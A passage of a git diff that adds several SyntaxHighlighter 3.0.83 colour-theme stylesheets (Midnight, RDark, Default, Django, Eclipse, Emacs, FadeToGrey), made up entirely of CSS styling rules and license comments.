!important; +} +.syntaxhighlighter .color1, .syntaxhighlighter .color1 a { + color: red !important; +} +.syntaxhighlighter .color2, .syntaxhighlighter .color2 a { + color: yellow !important; +} +.syntaxhighlighter .color3, .syntaxhighlighter .color3 a { + color: #ffaa3e !important; +} diff --git a/v4.1/stylesheets/syntaxhighlighter/shCoreMidnight.css b/v4.1/stylesheets/syntaxhighlighter/shCoreMidnight.css new file mode 100644 index 0000000..e3733ee --- /dev/null +++ b/v4.1/stylesheets/syntaxhighlighter/shCoreMidnight.css @@ -0,0 +1,324 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +.syntaxhighlighter a, +.syntaxhighlighter div, +.syntaxhighlighter code, +.syntaxhighlighter table, +.syntaxhighlighter table td, +.syntaxhighlighter table tr, +.syntaxhighlighter table tbody, +.syntaxhighlighter table thead, +.syntaxhighlighter table caption, +.syntaxhighlighter textarea { + -moz-border-radius: 0 0 0 0 !important; + -webkit-border-radius: 0 0 0 0 !important; + background: none !important; + border: 0 !important; + bottom: auto !important; + float: none !important; + height: auto !important; + left: auto !important; + line-height: 1.1em !important; + margin: 0 !important; + outline: 0 !important; + overflow: visible !important; + padding: 0 !important; + position: static !important; + right: auto !important; + text-align: left !important; + top: auto !important; + vertical-align: baseline !important; + width: auto !important; + box-sizing: content-box !important; + font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important; + font-weight: normal !important; + font-style: normal !important; + font-size: 1em !important; + min-height: inherit !important; + min-height: auto !important; +} + +.syntaxhighlighter { + width: 100% !important; + margin: 1em 0 1em 0 !important; + position: relative !important; + overflow: auto !important; + font-size: 1em !important; +} +.syntaxhighlighter.source { + overflow: hidden !important; +} +.syntaxhighlighter .bold { + font-weight: bold !important; +} +.syntaxhighlighter .italic { + font-style: italic !important; +} +.syntaxhighlighter .line { + white-space: pre !important; +} +.syntaxhighlighter table { + width: 100% !important; +} +.syntaxhighlighter table caption { + text-align: left !important; + padding: .5em 0 0.5em 1em !important; +} +.syntaxhighlighter table td.code { + width: 100% !important; +} +.syntaxhighlighter table td.code .container { + position: relative !important; +} +.syntaxhighlighter table td.code .container textarea { + box-sizing: border-box !important; + position: absolute !important; + left: 0 !important; + top: 0 !important; + width: 100% !important; + height: 100% !important; + border: none !important; + background: white !important; + padding-left: 1em !important; + overflow: hidden !important; + white-space: pre !important; +} +.syntaxhighlighter table td.gutter .line { + text-align: right !important; + padding: 0 0.5em 0 1em !important; +} +.syntaxhighlighter table td.code .line { + padding: 0 1em !important; +} +.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line { + padding-left: 0em !important; +} +.syntaxhighlighter.show { + display: block !important; +} +.syntaxhighlighter.collapsed table { + display: none !important; +} +.syntaxhighlighter.collapsed .toolbar { + padding: 0.1em 0.8em 0em 0.8em !important; + font-size: 1em !important; + position: static !important; + width: auto !important; + height: auto !important; +} +.syntaxhighlighter.collapsed .toolbar span { + display: inline !important; + margin-right: 1em !important; +} +.syntaxhighlighter.collapsed .toolbar span a { + padding: 0 !important; + display: none !important; +} +.syntaxhighlighter.collapsed .toolbar span a.expandSource { + display: inline !important; +} +.syntaxhighlighter .toolbar { + position: absolute !important; + right: 1px !important; + top: 1px !important; + width: 11px !important; + height: 11px !important; + font-size: 10px !important; + z-index: 10 !important; +} +.syntaxhighlighter .toolbar span.title { + display: inline !important; +} +.syntaxhighlighter .toolbar a { + display: block !important; + text-align: center !important; + text-decoration: none !important; + padding-top: 1px !important; +} +.syntaxhighlighter .toolbar a.expandSource { + display: none !important; +} +.syntaxhighlighter.ie { + font-size: .9em !important; + padding: 1px 0 1px 0 !important; +} +.syntaxhighlighter.ie .toolbar { + line-height: 8px !important; +} +.syntaxhighlighter.ie .toolbar a { + padding-top: 0px !important; +} +.syntaxhighlighter.printing .line.alt1 .content, +.syntaxhighlighter.printing .line.alt2 .content, +.syntaxhighlighter.printing .line.highlighted .number, +.syntaxhighlighter.printing .line.highlighted.alt1 .content, +.syntaxhighlighter.printing .line.highlighted.alt2 .content { + background: none !important; +} +.syntaxhighlighter.printing .line .number { + color: #bbbbbb !important; +} +.syntaxhighlighter.printing .line .content { + color: black !important; +} +.syntaxhighlighter.printing .toolbar { + display: none !important; +} +.syntaxhighlighter.printing a { + text-decoration: none !important; +} +.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a { + color: black !important; +} +.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a { + color: #008200 !important; +} +.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a { + color: blue !important; +} +.syntaxhighlighter.printing .keyword { + color: #006699 !important; + font-weight: bold !important; +} +.syntaxhighlighter.printing .preprocessor { + color: gray !important; +} +.syntaxhighlighter.printing .variable { + color: #aa7700 !important; +} +.syntaxhighlighter.printing .value { + color: #009900 !important; +} +.syntaxhighlighter.printing .functions { + color: #ff1493 !important; +} +.syntaxhighlighter.printing .constants { + color: #0066cc !important; +} +.syntaxhighlighter.printing .script { + font-weight: bold !important; +} +.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a { + color: gray !important; +} +.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a { + color: #ff1493 !important; +} +.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a { + color: red !important; +} +.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a { + color: black !important; +} + +.syntaxhighlighter { + background-color: #0f192a !important; +} +.syntaxhighlighter .line.alt1 { + background-color: #0f192a !important; +} +.syntaxhighlighter .line.alt2 { + background-color: #0f192a !important; +} +.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 { + background-color: #253e5a !important; +} +.syntaxhighlighter .line.highlighted.number { + color: #38566f !important; +} +.syntaxhighlighter table caption { + color: #d1edff !important; +} +.syntaxhighlighter .gutter { + color: #afafaf !important; +} +.syntaxhighlighter .gutter .line { + border-right: 3px solid #435a5f !important; +} +.syntaxhighlighter .gutter .line.highlighted { + background-color: #435a5f !important; + color: #0f192a !important; +} +.syntaxhighlighter.printing .line .content { + border: none !important; +} +.syntaxhighlighter.collapsed { + overflow: visible !important; +} +.syntaxhighlighter.collapsed .toolbar { + color: #428bdd !important; + background: black !important; + border: 1px solid #435a5f !important; +} +.syntaxhighlighter.collapsed .toolbar a { + color: #428bdd !important; +} +.syntaxhighlighter.collapsed .toolbar a:hover { + color: #1dc116 !important; +} +.syntaxhighlighter .toolbar { + color: #d1edff !important; + background: #435a5f !important; + border: none !important; +} +.syntaxhighlighter .toolbar a { + color: #d1edff !important; +} +.syntaxhighlighter .toolbar a:hover { + color: #8aa6c1 !important; +} +.syntaxhighlighter .plain, .syntaxhighlighter .plain a { + color: #d1edff !important; +} +.syntaxhighlighter .comments, .syntaxhighlighter .comments a { + color: #428bdd !important; +} +.syntaxhighlighter .string, .syntaxhighlighter .string a { + color: #1dc116 !important; +} +.syntaxhighlighter .keyword { + color: #b43d3d !important; +} +.syntaxhighlighter .preprocessor { + color: #8aa6c1 !important; +} +.syntaxhighlighter .variable { + color: #ffaa3e !important; +} +.syntaxhighlighter .value { + color: #f7e741 !important; +} +.syntaxhighlighter .functions { + color: #ffaa3e !important; +} +.syntaxhighlighter .constants { + color: #e0e8ff !important; +} +.syntaxhighlighter .script { + font-weight: bold !important; + color: #b43d3d !important; + background-color: none !important; +} +.syntaxhighlighter .color1, .syntaxhighlighter .color1 a { + color: #f8bb00 !important; +} +.syntaxhighlighter .color2, .syntaxhighlighter .color2 a { + color: white !important; +} +.syntaxhighlighter .color3, .syntaxhighlighter .color3 a { + color: #ffaa3e !important; +} diff --git a/v4.1/stylesheets/syntaxhighlighter/shCoreRDark.css b/v4.1/stylesheets/syntaxhighlighter/shCoreRDark.css new file mode 100644 index 0000000..d093683 --- /dev/null +++ b/v4.1/stylesheets/syntaxhighlighter/shCoreRDark.css @@ -0,0 +1,324 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +.syntaxhighlighter a, +.syntaxhighlighter div, +.syntaxhighlighter code, +.syntaxhighlighter table, +.syntaxhighlighter table td, +.syntaxhighlighter table tr, +.syntaxhighlighter table tbody, +.syntaxhighlighter table thead, +.syntaxhighlighter table caption, +.syntaxhighlighter textarea { + -moz-border-radius: 0 0 0 0 !important; + -webkit-border-radius: 0 0 0 0 !important; + background: none !important; + border: 0 !important; + bottom: auto !important; + float: none !important; + height: auto !important; + left: auto !important; + line-height: 1.1em !important; + margin: 0 !important; + outline: 0 !important; + overflow: visible !important; + padding: 0 !important; + position: static !important; + right: auto !important; + text-align: left !important; + top: auto !important; + vertical-align: baseline !important; + width: auto !important; + box-sizing: content-box !important; + font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important; + font-weight: normal !important; + font-style: normal !important; + font-size: 1em !important; + min-height: inherit !important; + min-height: auto !important; +} + +.syntaxhighlighter { + width: 100% !important; + margin: 1em 0 1em 0 !important; + position: relative !important; + overflow: auto !important; + font-size: 1em !important; +} +.syntaxhighlighter.source { + overflow: hidden !important; +} +.syntaxhighlighter .bold { + font-weight: bold !important; +} +.syntaxhighlighter .italic { + font-style: italic !important; +} +.syntaxhighlighter .line { + white-space: pre !important; +} +.syntaxhighlighter table { + width: 100% !important; +} +.syntaxhighlighter table caption { + text-align: left !important; + padding: .5em 0 0.5em 1em !important; +} +.syntaxhighlighter table td.code { + width: 100% !important; +} +.syntaxhighlighter table td.code .container { + position: relative !important; +} +.syntaxhighlighter table td.code .container textarea { + box-sizing: border-box !important; + position: absolute !important; + left: 0 !important; + top: 0 !important; + width: 100% !important; + height: 100% !important; + border: none !important; + background: white !important; + padding-left: 1em !important; + overflow: hidden !important; + white-space: pre !important; +} +.syntaxhighlighter table td.gutter .line { + text-align: right !important; + padding: 0 0.5em 0 1em !important; +} +.syntaxhighlighter table td.code .line { + padding: 0 1em !important; +} +.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line { + padding-left: 0em !important; +} +.syntaxhighlighter.show { + display: block !important; +} +.syntaxhighlighter.collapsed table { + display: none !important; +} +.syntaxhighlighter.collapsed .toolbar { + padding: 0.1em 0.8em 0em 0.8em !important; + font-size: 1em !important; + position: static !important; + width: auto !important; + height: auto !important; +} +.syntaxhighlighter.collapsed .toolbar span { + display: inline !important; + margin-right: 1em !important; +} +.syntaxhighlighter.collapsed .toolbar span a { + padding: 0 !important; + display: none !important; +} +.syntaxhighlighter.collapsed .toolbar span a.expandSource { + display: inline !important; +} +.syntaxhighlighter .toolbar { + position: absolute !important; + right: 1px !important; + top: 1px !important; + width: 11px !important; + height: 11px !important; + font-size: 10px !important; + z-index: 10 !important; +} +.syntaxhighlighter .toolbar span.title { + display: inline !important; +} +.syntaxhighlighter .toolbar a { + display: block !important; + text-align: center !important; + text-decoration: none !important; + padding-top: 1px !important; +} +.syntaxhighlighter .toolbar a.expandSource { + display: none !important; +} +.syntaxhighlighter.ie { + font-size: .9em !important; + padding: 1px 0 1px 0 !important; +} +.syntaxhighlighter.ie .toolbar { + line-height: 8px !important; +} +.syntaxhighlighter.ie .toolbar a { + padding-top: 0px !important; +} +.syntaxhighlighter.printing .line.alt1 .content, +.syntaxhighlighter.printing .line.alt2 .content, +.syntaxhighlighter.printing .line.highlighted .number, +.syntaxhighlighter.printing .line.highlighted.alt1 .content, +.syntaxhighlighter.printing .line.highlighted.alt2 .content { + background: none !important; +} +.syntaxhighlighter.printing .line .number { + color: #bbbbbb !important; +} +.syntaxhighlighter.printing .line .content { + color: black !important; +} +.syntaxhighlighter.printing .toolbar { + display: none !important; +} +.syntaxhighlighter.printing a { + text-decoration: none !important; +} +.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a { + color: black !important; +} +.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a { + color: #008200 !important; +} +.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a { + color: blue !important; +} +.syntaxhighlighter.printing .keyword { + color: #006699 !important; + font-weight: bold !important; +} +.syntaxhighlighter.printing .preprocessor { + color: gray !important; +} +.syntaxhighlighter.printing .variable { + color: #aa7700 !important; +} +.syntaxhighlighter.printing .value { + color: #009900 !important; +} +.syntaxhighlighter.printing .functions { + color: #ff1493 !important; +} +.syntaxhighlighter.printing .constants { + color: #0066cc !important; +} +.syntaxhighlighter.printing .script { + font-weight: bold !important; +} +.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a { + color: gray !important; +} +.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a { + color: #ff1493 !important; +} +.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a { + color: red !important; +} +.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a { + color: black !important; +} + +.syntaxhighlighter { + background-color: #1b2426 !important; +} +.syntaxhighlighter .line.alt1 { + background-color: #1b2426 !important; +} +.syntaxhighlighter .line.alt2 { + background-color: #1b2426 !important; +} +.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 { + background-color: #323e41 !important; +} +.syntaxhighlighter .line.highlighted.number { + color: #b9bdb6 !important; +} +.syntaxhighlighter table caption { + color: #b9bdb6 !important; +} +.syntaxhighlighter .gutter { + color: #afafaf !important; +} +.syntaxhighlighter .gutter .line { + border-right: 3px solid #435a5f !important; +} +.syntaxhighlighter .gutter .line.highlighted { + background-color: #435a5f !important; + color: #1b2426 !important; +} +.syntaxhighlighter.printing .line .content { + border: none !important; +} +.syntaxhighlighter.collapsed { + overflow: visible !important; +} +.syntaxhighlighter.collapsed .toolbar { + color: #5ba1cf !important; + background: black !important; + border: 1px solid #435a5f !important; +} +.syntaxhighlighter.collapsed .toolbar a { + color: #5ba1cf !important; +} +.syntaxhighlighter.collapsed .toolbar a:hover { + color: #5ce638 !important; +} +.syntaxhighlighter .toolbar { + color: white !important; + background: #435a5f !important; + border: none !important; +} +.syntaxhighlighter .toolbar a { + color: white !important; +} +.syntaxhighlighter .toolbar a:hover { + color: #e0e8ff !important; +} +.syntaxhighlighter .plain, .syntaxhighlighter .plain a { + color: #b9bdb6 !important; +} +.syntaxhighlighter .comments, .syntaxhighlighter .comments a { + color: #878a85 !important; +} +.syntaxhighlighter .string, .syntaxhighlighter .string a { + color: #5ce638 !important; +} +.syntaxhighlighter .keyword { + color: #5ba1cf !important; +} +.syntaxhighlighter .preprocessor { + color: #435a5f !important; +} +.syntaxhighlighter .variable { + color: #ffaa3e !important; +} +.syntaxhighlighter .value { + color: #009900 !important; +} +.syntaxhighlighter .functions { + color: #ffaa3e !important; +} +.syntaxhighlighter .constants { + color: #e0e8ff !important; +} +.syntaxhighlighter .script { + font-weight: bold !important; + color: #5ba1cf !important; + background-color: none !important; +} +.syntaxhighlighter .color1, .syntaxhighlighter .color1 a { + color: #e0e8ff !important; +} +.syntaxhighlighter .color2, .syntaxhighlighter .color2 a { + color: white !important; +} +.syntaxhighlighter .color3, .syntaxhighlighter .color3 a { + color: #ffaa3e !important; +} diff --git a/v4.1/stylesheets/syntaxhighlighter/shThemeDefault.css b/v4.1/stylesheets/syntaxhighlighter/shThemeDefault.css new file mode 100644 index 0000000..1365411 --- /dev/null +++ b/v4.1/stylesheets/syntaxhighlighter/shThemeDefault.css @@ -0,0 +1,117 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +.syntaxhighlighter { + background-color: white !important; +} +.syntaxhighlighter .line.alt1 { + background-color: white !important; +} +.syntaxhighlighter .line.alt2 { + background-color: white !important; +} +.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 { + background-color: #e0e0e0 !important; +} +.syntaxhighlighter .line.highlighted.number { + color: black !important; +} +.syntaxhighlighter table caption { + color: black !important; +} +.syntaxhighlighter .gutter { + color: #afafaf !important; +} +.syntaxhighlighter .gutter .line { + border-right: 3px solid #6ce26c !important; +} +.syntaxhighlighter .gutter .line.highlighted { + background-color: #6ce26c !important; + color: white !important; +} +.syntaxhighlighter.printing .line .content { + border: none !important; +} +.syntaxhighlighter.collapsed { + overflow: visible !important; +} +.syntaxhighlighter.collapsed .toolbar { + color: blue !important; + background: white !important; + border: 1px solid #6ce26c !important; +} +.syntaxhighlighter.collapsed .toolbar a { + color: blue !important; +} +.syntaxhighlighter.collapsed .toolbar a:hover { + color: red !important; +} +.syntaxhighlighter .toolbar { + color: white !important; + background: #6ce26c !important; + border: none !important; +} +.syntaxhighlighter .toolbar a { + color: white !important; +} +.syntaxhighlighter .toolbar a:hover { + color: black !important; +} +.syntaxhighlighter .plain, .syntaxhighlighter .plain a { + color: black !important; +} +.syntaxhighlighter .comments, .syntaxhighlighter .comments a { + color: #008200 !important; +} +.syntaxhighlighter .string, .syntaxhighlighter .string a { + color: blue !important; +} +.syntaxhighlighter .keyword { + color: #006699 !important; +} +.syntaxhighlighter .preprocessor { + color: gray !important; +} +.syntaxhighlighter .variable { + color: #aa7700 !important; +} +.syntaxhighlighter .value { + color: #009900 !important; +} +.syntaxhighlighter .functions { + color: #ff1493 !important; +} +.syntaxhighlighter .constants { + color: #0066cc !important; +} +.syntaxhighlighter .script { + font-weight: bold !important; + color: #006699 !important; + background-color: none !important; +} +.syntaxhighlighter .color1, .syntaxhighlighter .color1 a { + color: gray !important; +} +.syntaxhighlighter .color2, .syntaxhighlighter .color2 a { + color: #ff1493 !important; +} +.syntaxhighlighter .color3, .syntaxhighlighter .color3 a { + color: red !important; +} + +.syntaxhighlighter .keyword { + font-weight: bold !important; +} diff --git a/v4.1/stylesheets/syntaxhighlighter/shThemeDjango.css b/v4.1/stylesheets/syntaxhighlighter/shThemeDjango.css new file mode 100644 index 0000000..d8b4313 --- /dev/null +++ b/v4.1/stylesheets/syntaxhighlighter/shThemeDjango.css @@ -0,0 +1,120 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +.syntaxhighlighter { + background-color: #0a2b1d !important; +} +.syntaxhighlighter .line.alt1 { + background-color: #0a2b1d !important; +} +.syntaxhighlighter .line.alt2 { + background-color: #0a2b1d !important; +} +.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 { + background-color: #233729 !important; +} +.syntaxhighlighter .line.highlighted.number { + color: white !important; +} +.syntaxhighlighter table caption { + color: #f8f8f8 !important; +} +.syntaxhighlighter .gutter { + color: #497958 !important; +} +.syntaxhighlighter .gutter .line { + border-right: 3px solid #41a83e !important; +} +.syntaxhighlighter .gutter .line.highlighted { + background-color: #41a83e !important; + color: #0a2b1d !important; +} +.syntaxhighlighter.printing .line .content { + border: none !important; +} +.syntaxhighlighter.collapsed { + overflow: visible !important; +} +.syntaxhighlighter.collapsed .toolbar { + color: #96dd3b !important; + background: black !important; + border: 1px solid #41a83e !important; +} +.syntaxhighlighter.collapsed .toolbar a { + color: #96dd3b !important; +} +.syntaxhighlighter.collapsed .toolbar a:hover { + color: white !important; +} +.syntaxhighlighter .toolbar { + color: white !important; + background: #41a83e !important; + border: none !important; +} +.syntaxhighlighter .toolbar a { + color: white !important; +} +.syntaxhighlighter .toolbar a:hover { + color: #ffe862 !important; +} +.syntaxhighlighter .plain, .syntaxhighlighter .plain a { + color: #f8f8f8 !important; +} +.syntaxhighlighter .comments, .syntaxhighlighter .comments a { + color: #336442 !important; +} +.syntaxhighlighter .string, .syntaxhighlighter .string a { + color: #9df39f !important; +} +.syntaxhighlighter .keyword { + color: #96dd3b !important; +} +.syntaxhighlighter .preprocessor { + color: #91bb9e !important; +} +.syntaxhighlighter .variable { + color: #ffaa3e !important; +} +.syntaxhighlighter .value { + color: #f7e741 !important; +} +.syntaxhighlighter .functions { + color: #ffaa3e !important; +} +.syntaxhighlighter .constants { + color: #e0e8ff !important; +} +.syntaxhighlighter .script { + font-weight: bold !important; + color: #96dd3b !important; + background-color: none !important; +} +.syntaxhighlighter .color1, .syntaxhighlighter .color1 a { + color: #eb939a !important; +} +.syntaxhighlighter .color2, .syntaxhighlighter .color2 a { + color: #91bb9e !important; +} +.syntaxhighlighter .color3, .syntaxhighlighter .color3 a { + color: #edef7d !important; +} + +.syntaxhighlighter .comments { + font-style: italic !important; +} +.syntaxhighlighter .keyword { + font-weight: bold !important; +} diff --git a/v4.1/stylesheets/syntaxhighlighter/shThemeEclipse.css b/v4.1/stylesheets/syntaxhighlighter/shThemeEclipse.css new file mode 100644 index 0000000..77377d9 --- /dev/null +++ b/v4.1/stylesheets/syntaxhighlighter/shThemeEclipse.css @@ -0,0 +1,128 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +.syntaxhighlighter { + background-color: white !important; +} +.syntaxhighlighter .line.alt1 { + background-color: white !important; +} +.syntaxhighlighter .line.alt2 { + background-color: white !important; +} +.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 { + background-color: #c3defe !important; +} +.syntaxhighlighter .line.highlighted.number { + color: white !important; +} +.syntaxhighlighter table caption { + color: black !important; +} +.syntaxhighlighter .gutter { + color: #787878 !important; +} +.syntaxhighlighter .gutter .line { + border-right: 3px solid #d4d0c8 !important; +} +.syntaxhighlighter .gutter .line.highlighted { + background-color: #d4d0c8 !important; + color: white !important; +} +.syntaxhighlighter.printing .line .content { + border: none !important; +} +.syntaxhighlighter.collapsed { + overflow: visible !important; +} +.syntaxhighlighter.collapsed .toolbar { + color: #3f5fbf !important; + background: white !important; + border: 1px solid #d4d0c8 !important; +} +.syntaxhighlighter.collapsed .toolbar a { + color: #3f5fbf !important; +} +.syntaxhighlighter.collapsed .toolbar a:hover { + color: #aa7700 !important; +} +.syntaxhighlighter .toolbar { + color: #a0a0a0 !important; + background: #d4d0c8 !important; + border: none !important; +} +.syntaxhighlighter .toolbar a { + color: #a0a0a0 !important; +} +.syntaxhighlighter .toolbar a:hover { + color: red !important; +} +.syntaxhighlighter .plain, .syntaxhighlighter .plain a { + color: black !important; +} +.syntaxhighlighter .comments, .syntaxhighlighter .comments a { + color: #3f5fbf !important; +} +.syntaxhighlighter .string, .syntaxhighlighter .string a { + color: #2a00ff !important; +} +.syntaxhighlighter .keyword { + color: #7f0055 !important; +} +.syntaxhighlighter .preprocessor { + color: #646464 !important; +} +.syntaxhighlighter .variable { + color: #aa7700 !important; +} +.syntaxhighlighter .value { + color: #009900 !important; +} +.syntaxhighlighter .functions { + color: #ff1493 !important; +} +.syntaxhighlighter .constants { + color: #0066cc !important; +} +.syntaxhighlighter .script { + font-weight: bold !important; + color: #7f0055 !important; + background-color: none !important; +} +.syntaxhighlighter .color1, .syntaxhighlighter .color1 a { + color: gray !important; +} +.syntaxhighlighter .color2, .syntaxhighlighter .color2 a { + color: #ff1493 !important; +} +.syntaxhighlighter .color3, .syntaxhighlighter .color3 a { + color: red !important; +} + +.syntaxhighlighter .keyword { + font-weight: bold !important; +} +.syntaxhighlighter .xml .keyword { + color: #3f7f7f !important; + font-weight: normal !important; +} +.syntaxhighlighter .xml .color1, .syntaxhighlighter .xml .color1 a { + color: #7f007f !important; +} +.syntaxhighlighter .xml .string { + font-style: italic !important; + color: #2a00ff !important; +} diff --git a/v4.1/stylesheets/syntaxhighlighter/shThemeEmacs.css b/v4.1/stylesheets/syntaxhighlighter/shThemeEmacs.css new file mode 100644 index 0000000..dae5053 --- /dev/null +++ b/v4.1/stylesheets/syntaxhighlighter/shThemeEmacs.css @@ -0,0 +1,113 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +.syntaxhighlighter { + background-color: black !important; +} +.syntaxhighlighter .line.alt1 { + background-color: black !important; +} +.syntaxhighlighter .line.alt2 { + background-color: black !important; +} +.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 { + background-color: #2a3133 !important; +} +.syntaxhighlighter .line.highlighted.number { + color: white !important; +} +.syntaxhighlighter table caption { + color: #d3d3d3 !important; +} +.syntaxhighlighter .gutter { + color: #d3d3d3 !important; +} +.syntaxhighlighter .gutter .line { + border-right: 3px solid #990000 !important; +} +.syntaxhighlighter .gutter .line.highlighted { + background-color: #990000 !important; + color: black !important; +} +.syntaxhighlighter.printing .line .content { + border: none !important; +} +.syntaxhighlighter.collapsed { + overflow: visible !important; +} +.syntaxhighlighter.collapsed .toolbar { + color: #ebdb8d !important; + background: black !important; + border: 1px solid #990000 !important; +} +.syntaxhighlighter.collapsed .toolbar a { + color: #ebdb8d !important; +} +.syntaxhighlighter.collapsed .toolbar a:hover { + color: #ff7d27 !important; +} +.syntaxhighlighter .toolbar { + color: white !important; + background: #990000 !important; + border: none !important; +} +.syntaxhighlighter .toolbar a { + color: white !important; +} +.syntaxhighlighter .toolbar a:hover { + color: #9ccff4 !important; +} +.syntaxhighlighter .plain, .syntaxhighlighter .plain a { + color: #d3d3d3 !important; +} +.syntaxhighlighter .comments, .syntaxhighlighter .comments a { + color: #ff7d27 !important; +} +.syntaxhighlighter .string, .syntaxhighlighter .string a { + color: #ff9e7b !important; +} +.syntaxhighlighter .keyword { + color: aqua !important; +} +.syntaxhighlighter .preprocessor { + color: #aec4de !important; +} +.syntaxhighlighter .variable { + color: #ffaa3e !important; +} +.syntaxhighlighter .value { + color: #009900 !important; +} +.syntaxhighlighter .functions { + color: #81cef9 !important; +} +.syntaxhighlighter .constants { + color: #ff9e7b !important; +} +.syntaxhighlighter .script { + font-weight: bold !important; + color: aqua !important; + background-color: none !important; +} +.syntaxhighlighter .color1, .syntaxhighlighter .color1 a { + color: #ebdb8d !important; +} +.syntaxhighlighter .color2, .syntaxhighlighter .color2 a { + color: #ff7d27 !important; +} +.syntaxhighlighter .color3, .syntaxhighlighter .color3 a { + color: #aec4de !important; +} diff --git a/v4.1/stylesheets/syntaxhighlighter/shThemeFadeToGrey.css b/v4.1/stylesheets/syntaxhighlighter/shThemeFadeToGrey.css new file mode 100644 index 0000000..8fbd871 --- /dev/null +++ b/v4.1/stylesheets/syntaxhighlighter/shThemeFadeToGrey.css @@ -0,0 +1,117 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +.syntaxhighlighter { + background-color: #121212 !important; +} +.syntaxhighlighter .line.alt1 { + background-color: #121212 !important; +} +.syntaxhighlighter .line.alt2 { + background-color: #121212 !important; +} +.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 { + background-color: #2c2c29 !important; +} +.syntaxhighlighter .line.highlighted.number { + color: white !important; +} +.syntaxhighlighter table caption { + color: white !important; +} +.syntaxhighlighter .gutter { + color: #afafaf !important; +} +.syntaxhighlighter .gutter .line { + border-right: 3px solid #3185b9 !important; +} +.syntaxhighlighter .gutter .line.highlighted { + background-color: #3185b9 !important; + color: #121212 !important; +} +.syntaxhighlighter.printing .line .content { + border: none !important; +} +.syntaxhighlighter.collapsed { + overflow: visible !important; +} +.syntaxhighlighter.collapsed .toolbar { + color: #3185b9 !important; + background: black !important; + border: 1px solid #3185b9 !important; +} +.syntaxhighlighter.collapsed .toolbar a { + color: #3185b9 !important; +} +.syntaxhighlighter.collapsed .toolbar a:hover { + color: #d01d33 !important; +} +.syntaxhighlighter .toolbar { + color: white !important; + background: #3185b9 !important; + border: none !important; +} +.syntaxhighlighter .toolbar a { + color: white !important; +} +.syntaxhighlighter .toolbar a:hover { + color: #96daff !important; +} +.syntaxhighlighter .plain, .syntaxhighlighter .plain a { + color: white !important; +} +.syntaxhighlighter .comments, .syntaxhighlighter .comments a { + color: #696854 !important; +} +.syntaxhighlighter .string, .syntaxhighlighter .string a { + color: #e3e658 !important; +} +.syntaxhighlighter .keyword { + color: #d01d33 